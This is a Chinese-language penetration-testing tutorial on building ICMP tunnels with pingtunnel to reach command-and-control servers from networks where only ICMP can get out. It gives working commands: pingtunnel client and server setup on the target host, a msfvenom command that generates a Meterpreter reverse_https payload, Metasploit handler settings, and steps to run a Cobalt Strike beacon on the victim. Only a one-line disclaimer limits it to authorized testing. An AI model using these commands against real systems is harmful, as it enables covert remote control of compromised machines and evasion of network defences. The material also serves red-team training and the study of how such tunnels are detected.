内网知识之ICMP隧道搭建
字数 1575 2025-08-10 08:28:13
ICMP隧道搭建技术详解
一、ICMP隧道基础概念
1. 隧道技术概述
隧道技术是一种绕过端口屏蔽的通信方式,通过将数据包封装在防火墙允许的协议或端口中进行传输。当数据包到达目的地后,再将其还原并发送到目标服务器。
2. 常见隧道类型
- 网络层隧道:IPv6隧道、ICMP隧道、GRE隧道
- 传输层隧道:TCP隧道、UDP隧道、常规端口转发
- 应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
3. 内网连通性判断方法
- ICMP协议:
ping <IP地址或域名> - TCP协议:使用netcat(nc)工具,如
nc -l 192.168.191.1 80 - HTTP协议:
curl www.baidu.com - DNS协议:
nslookup
二、内网穿透常用工具
1. 网络层工具
- icmpsh:通过ICMP协议反弹cmd,功能单一且不稳定
- icmptunnel:创建虚拟网卡通过ICMP传输流量,需要root权限
- pingtunnel:支持TCP/UDP/SOCKS5 over ICMP,速度快且稳定,推荐使用
2. 传输层隧道工具
- netcat:网络工具中的瑞士军刀
- powercat:PowerShell版的netcat
- socat:具有记录转发流功能
- netsh:Windows自带的网络配置工具
- lcx:端口转发工具
- NATBypass:lcx的Golang实现
- iox:端口转发和内网代理工具
3. 应用层隧道工具
- dnscat2:创建DNS隧道和C2
- dns2tcp:TCP over DNS
- iodine:IPv4 over DNS
- reGeorg/reDuh/Tunna:HTTP隧道工具
- ABPTTS:TCP over HTTP,数据加密
- EarthWorm/Termite/Venom:多级SOCKS代理工具
三、ICMP隧道实战应用
1. 工具安装
- Kali安装pingtunnel:
wget https://github.com/esrrhs/pingtunnel/releases - Kali安装libpcap:
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure - Windows安装pingtunnel:
从GitHub下载对应版本的可执行文件
2. 构建ICMP隧道上线Metasploit
-
服务端设置(Kali):
./pingtunnel -type server -noprint 1 -nolog 1 -
客户端设置(目标主机):
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1参数说明:
-l:本地监听IP和端口-s:ICMP服务端IP-t:目标C2服务器IP和端口
-
生成Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe -
启动MSF监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 0.0.0.0 set lport 7777 run
3. 通过Cobalt Strike上线
-
服务端设置(Kali):
./pingtunnel -type server -noprint 1 -nolog 1 -
客户端设置(目标主机):
pingtunnel.exe -type client -l :7777 -s 192.168.200.14 -t 192.168.200.47:8899 -tcp 1 -noprint 1 -nolog 1 -
Cobalt Strike服务端配置:
./teamserver 服务端IP地址 连接密码注意:Teamserver必须以root权限运行
-
客户端连接:
- 输入服务端IP、端口和连接密码
- 设置监听本地IP地址和端口(7777)
-
生成并执行Payload:
- 在受害主机上执行生成的beacon.exe
- 可调整心跳时间:
sleep 5(设置为5秒) - 执行命令需加
shell前缀,如shell whoami
四、注意事项
- ICMP隧道适用于目标主机只有ICMP协议可以出网的场景
- 使用pingtunnel时,客户端模式不需要管理员权限
- Cobalt Strike中默认心跳为60秒,可根据实际情况调整
- 多次点击Payload会导致多次上线,需通过任务管理器结束多余进程
- 本技术仅限合法授权测试使用,不得用于非法用途
五、流量走向分析
-
Metasploit场景:
pingtunnel服务端 → pingtunnel客户端7777 → pingtunnel服务端7777 -
Cobalt Strike场景:
客户端7777端口 → 通过ICMP隧道 → 服务端8899端口
通过ICMP隧道技术,可以在严格网络限制环境下建立隐蔽的通信通道,实现内网穿透和远控目的。